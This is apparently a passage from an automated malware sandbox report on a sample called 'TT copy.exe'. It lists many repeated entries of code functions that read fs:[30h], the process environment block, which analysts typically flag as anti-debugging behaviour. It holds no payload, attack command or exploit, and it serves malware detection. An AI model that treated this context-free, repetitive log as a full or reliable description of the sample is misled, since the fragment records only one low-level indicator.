Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov eax, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov eax, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov eax, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov ecx, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010899BF mov eax, dword ptr fs:[00000030h]	3_2_010899BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106B1E1 mov eax, dword ptr fs:[00000030h]	3_2_0106B1E1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106B1E1 mov eax, dword ptr fs:[00000030h]	3_2_0106B1E1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106B1E1 mov eax, dword ptr fs:[00000030h]	3_2_0106B1E1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010F41E8 mov eax, dword ptr fs:[00000030h]	3_2_010F41E8
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01134015 mov eax, dword ptr fs:[00000030h]	3_2_01134015
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01134015 mov eax, dword ptr fs:[00000030h]	3_2_01134015
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E7016 mov eax, dword ptr fs:[00000030h]	3_2_010E7016
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E7016 mov eax, dword ptr fs:[00000030h]	3_2_010E7016
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E7016 mov eax, dword ptr fs:[00000030h]	3_2_010E7016
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109002D mov eax, dword ptr fs:[00000030h]	3_2_0109002D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109002D mov eax, dword ptr fs:[00000030h]	3_2_0109002D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109002D mov eax, dword ptr fs:[00000030h]	3_2_0109002D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109002D mov eax, dword ptr fs:[00000030h]	3_2_0109002D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109002D mov eax, dword ptr fs:[00000030h]	3_2_0109002D
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107B02A mov eax, dword ptr fs:[00000030h]	3_2_0107B02A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107B02A mov eax, dword ptr fs:[00000030h]	3_2_0107B02A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107B02A mov eax, dword ptr fs:[00000030h]	3_2_0107B02A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107B02A mov eax, dword ptr fs:[00000030h]	3_2_0107B02A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A830 mov eax, dword ptr fs:[00000030h]	3_2_0108A830
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A830 mov eax, dword ptr fs:[00000030h]	3_2_0108A830
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A830 mov eax, dword ptr fs:[00000030h]	3_2_0108A830
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A830 mov eax, dword ptr fs:[00000030h]	3_2_0108A830
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01080050 mov eax, dword ptr fs:[00000030h]	3_2_01080050
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01080050 mov eax, dword ptr fs:[00000030h]	3_2_01080050
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122073 mov eax, dword ptr fs:[00000030h]	3_2_01122073
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01131074 mov eax, dword ptr fs:[00000030h]	3_2_01131074
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069080 mov eax, dword ptr fs:[00000030h]	3_2_01069080
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E3884 mov eax, dword ptr fs:[00000030h]	3_2_010E3884
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E3884 mov eax, dword ptr fs:[00000030h]	3_2_010E3884
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A90AF mov eax, dword ptr fs:[00000030h]	3_2_010A90AF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010920A0 mov eax, dword ptr fs:[00000030h]	3_2_010920A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010920A0 mov eax, dword ptr fs:[00000030h]	3_2_010920A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010920A0 mov eax, dword ptr fs:[00000030h]	3_2_010920A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010920A0 mov eax, dword ptr fs:[00000030h]	3_2_010920A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010920A0 mov eax, dword ptr fs:[00000030h]	3_2_010920A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010920A0 mov eax, dword ptr fs:[00000030h]	3_2_010920A0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109F0BF mov ecx, dword ptr fs:[00000030h]	3_2_0109F0BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109F0BF mov eax, dword ptr fs:[00000030h]	3_2_0109F0BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109F0BF mov eax, dword ptr fs:[00000030h]	3_2_0109F0BF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FB8D0 mov eax, dword ptr fs:[00000030h]	3_2_010FB8D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FB8D0 mov ecx, dword ptr fs:[00000030h]	3_2_010FB8D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FB8D0 mov eax, dword ptr fs:[00000030h]	3_2_010FB8D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FB8D0 mov eax, dword ptr fs:[00000030h]	3_2_010FB8D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FB8D0 mov eax, dword ptr fs:[00000030h]	3_2_010FB8D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010FB8D0 mov eax, dword ptr fs:[00000030h]	3_2_010FB8D0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010640E1 mov eax, dword ptr fs:[00000030h]	3_2_010640E1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010640E1 mov eax, dword ptr fs:[00000030h]	3_2_010640E1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010640E1 mov eax, dword ptr fs:[00000030h]	3_2_010640E1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010658EC mov eax, dword ptr fs:[00000030h]	3_2_010658EC
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B8E4 mov eax, dword ptr fs:[00000030h]	3_2_0108B8E4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108B8E4 mov eax, dword ptr fs:[00000030h]	3_2_0108B8E4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A309 mov eax, dword ptr fs:[00000030h]	3_2_0108A309
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112131B mov eax, dword ptr fs:[00000030h]	3_2_0112131B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106DB40 mov eax, dword ptr fs:[00000030h]	3_2_0106DB40
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01138B58 mov eax, dword ptr fs:[00000030h]	3_2_01138B58
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106F358 mov eax, dword ptr fs:[00000030h]	3_2_0106F358
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106DB60 mov ecx, dword ptr fs:[00000030h]	3_2_0106DB60
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01093B7A mov eax, dword ptr fs:[00000030h]	3_2_01093B7A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01093B7A mov eax, dword ptr fs:[00000030h]	3_2_01093B7A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01071B8F mov eax, dword ptr fs:[00000030h]	3_2_01071B8F
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01071B8F mov eax, dword ptr fs:[00000030h]	3_2_01071B8F
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0111D380 mov ecx, dword ptr fs:[00000030h]	3_2_0111D380
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112138A mov eax, dword ptr fs:[00000030h]	3_2_0112138A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109B390 mov eax, dword ptr fs:[00000030h]	3_2_0109B390
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092397 mov eax, dword ptr fs:[00000030h]	3_2_01092397
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01094BAD mov eax, dword ptr fs:[00000030h]	3_2_01094BAD
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01094BAD mov eax, dword ptr fs:[00000030h]	3_2_01094BAD
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01094BAD mov eax, dword ptr fs:[00000030h]	3_2_01094BAD
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01135BA5 mov eax, dword ptr fs:[00000030h]	3_2_01135BA5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E53CA mov eax, dword ptr fs:[00000030h]	3_2_010E53CA
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E53CA mov eax, dword ptr fs:[00000030h]	3_2_010E53CA
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108DBE9 mov eax, dword ptr fs:[00000030h]	3_2_0108DBE9
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010903E2 mov eax, dword ptr fs:[00000030h]	3_2_010903E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010903E2 mov eax, dword ptr fs:[00000030h]	3_2_010903E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010903E2 mov eax, dword ptr fs:[00000030h]	3_2_010903E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010903E2 mov eax, dword ptr fs:[00000030h]	3_2_010903E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010903E2 mov eax, dword ptr fs:[00000030h]	3_2_010903E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010903E2 mov eax, dword ptr fs:[00000030h]	3_2_010903E2
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011123E3 mov ecx, dword ptr fs:[00000030h]	3_2_011123E3
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011123E3 mov ecx, dword ptr fs:[00000030h]	3_2_011123E3
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011123E3 mov eax, dword ptr fs:[00000030h]	3_2_011123E3
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112AA16 mov eax, dword ptr fs:[00000030h]	3_2_0112AA16
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112AA16 mov eax, dword ptr fs:[00000030h]	3_2_0112AA16
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01078A0A mov eax, dword ptr fs:[00000030h]	3_2_01078A0A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106AA16 mov eax, dword ptr fs:[00000030h]	3_2_0106AA16
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106AA16 mov eax, dword ptr fs:[00000030h]	3_2_0106AA16
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01083A1C mov eax, dword ptr fs:[00000030h]	3_2_01083A1C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01065210 mov eax, dword ptr fs:[00000030h]	3_2_01065210
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01065210 mov ecx, dword ptr fs:[00000030h]	3_2_01065210
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01065210 mov eax, dword ptr fs:[00000030h]	3_2_01065210
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01065210 mov eax, dword ptr fs:[00000030h]	3_2_01065210
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108A229 mov eax, dword ptr fs:[00000030h]	3_2_0108A229
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A4A2C mov eax, dword ptr fs:[00000030h]	3_2_010A4A2C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A4A2C mov eax, dword ptr fs:[00000030h]	3_2_010A4A2C
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069240 mov eax, dword ptr fs:[00000030h]	3_2_01069240
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069240 mov eax, dword ptr fs:[00000030h]	3_2_01069240
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069240 mov eax, dword ptr fs:[00000030h]	3_2_01069240
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01069240 mov eax, dword ptr fs:[00000030h]	3_2_01069240
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112EA55 mov eax, dword ptr fs:[00000030h]	3_2_0112EA55
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010F4257 mov eax, dword ptr fs:[00000030h]	3_2_010F4257
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A927A mov eax, dword ptr fs:[00000030h]	3_2_010A927A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0111B260 mov eax, dword ptr fs:[00000030h]	3_2_0111B260
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0111B260 mov eax, dword ptr fs:[00000030h]	3_2_0111B260
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01138A62 mov eax, dword ptr fs:[00000030h]	3_2_01138A62
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109D294 mov eax, dword ptr fs:[00000030h]	3_2_0109D294
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109D294 mov eax, dword ptr fs:[00000030h]	3_2_0109D294
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010652A5 mov eax, dword ptr fs:[00000030h]	3_2_010652A5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010652A5 mov eax, dword ptr fs:[00000030h]	3_2_010652A5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010652A5 mov eax, dword ptr fs:[00000030h]	3_2_010652A5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010652A5 mov eax, dword ptr fs:[00000030h]	3_2_010652A5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010652A5 mov eax, dword ptr fs:[00000030h]	3_2_010652A5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107AAB0 mov eax, dword ptr fs:[00000030h]	3_2_0107AAB0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0107AAB0 mov eax, dword ptr fs:[00000030h]	3_2_0107AAB0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109FAB0 mov eax, dword ptr fs:[00000030h]	3_2_0109FAB0
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092ACB mov eax, dword ptr fs:[00000030h]	3_2_01092ACB
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092AE4 mov eax, dword ptr fs:[00000030h]	3_2_01092AE4
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01124AEF mov eax, dword ptr fs:[00000030h]	3_2_01124AEF
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01138D34 mov eax, dword ptr fs:[00000030h]	3_2_01138D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0112E539 mov eax, dword ptr fs:[00000030h]	3_2_0112E539
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01094D3B mov eax, dword ptr fs:[00000030h]	3_2_01094D3B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01094D3B mov eax, dword ptr fs:[00000030h]	3_2_01094D3B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01094D3B mov eax, dword ptr fs:[00000030h]	3_2_01094D3B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01073D34 mov eax, dword ptr fs:[00000030h]	3_2_01073D34
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0106AD30 mov eax, dword ptr fs:[00000030h]	3_2_0106AD30
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010EA537 mov eax, dword ptr fs:[00000030h]	3_2_010EA537
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010A3D43 mov eax, dword ptr fs:[00000030h]	3_2_010A3D43
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E3540 mov eax, dword ptr fs:[00000030h]	3_2_010E3540
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01113D40 mov eax, dword ptr fs:[00000030h]	3_2_01113D40
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01087D50 mov eax, dword ptr fs:[00000030h]	3_2_01087D50
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108C577 mov eax, dword ptr fs:[00000030h]	3_2_0108C577
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0108C577 mov eax, dword ptr fs:[00000030h]	3_2_0108C577
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092581 mov eax, dword ptr fs:[00000030h]	3_2_01092581
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092581 mov eax, dword ptr fs:[00000030h]	3_2_01092581
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092581 mov eax, dword ptr fs:[00000030h]	3_2_01092581
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01092581 mov eax, dword ptr fs:[00000030h]	3_2_01092581
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01062D8A mov eax, dword ptr fs:[00000030h]	3_2_01062D8A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01062D8A mov eax, dword ptr fs:[00000030h]	3_2_01062D8A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01062D8A mov eax, dword ptr fs:[00000030h]	3_2_01062D8A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01062D8A mov eax, dword ptr fs:[00000030h]	3_2_01062D8A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01062D8A mov eax, dword ptr fs:[00000030h]	3_2_01062D8A
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82 mov eax, dword ptr fs:[00000030h]	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82 mov eax, dword ptr fs:[00000030h]	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82 mov eax, dword ptr fs:[00000030h]	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82 mov eax, dword ptr fs:[00000030h]	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82 mov eax, dword ptr fs:[00000030h]	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82 mov eax, dword ptr fs:[00000030h]	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01122D82 mov eax, dword ptr fs:[00000030h]	3_2_01122D82
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109FD9B mov eax, dword ptr fs:[00000030h]	3_2_0109FD9B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_0109FD9B mov eax, dword ptr fs:[00000030h]	3_2_0109FD9B
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010935A1 mov eax, dword ptr fs:[00000030h]	3_2_010935A1
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01091DB5 mov eax, dword ptr fs:[00000030h]	3_2_01091DB5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01091DB5 mov eax, dword ptr fs:[00000030h]	3_2_01091DB5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_01091DB5 mov eax, dword ptr fs:[00000030h]	3_2_01091DB5
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011305AC mov eax, dword ptr fs:[00000030h]	3_2_011305AC
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_011305AC mov eax, dword ptr fs:[00000030h]	3_2_011305AC
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6DC9 mov eax, dword ptr fs:[00000030h]	3_2_010E6DC9
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6DC9 mov eax, dword ptr fs:[00000030h]	3_2_010E6DC9
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6DC9 mov eax, dword ptr fs:[00000030h]	3_2_010E6DC9
Source: C:\Users\user\Desktop\TT copy.exe	Code function: 3_2_010E6DC9 mov ecx, dword ptr fs:[00000030h]	3_2_010E6DC9
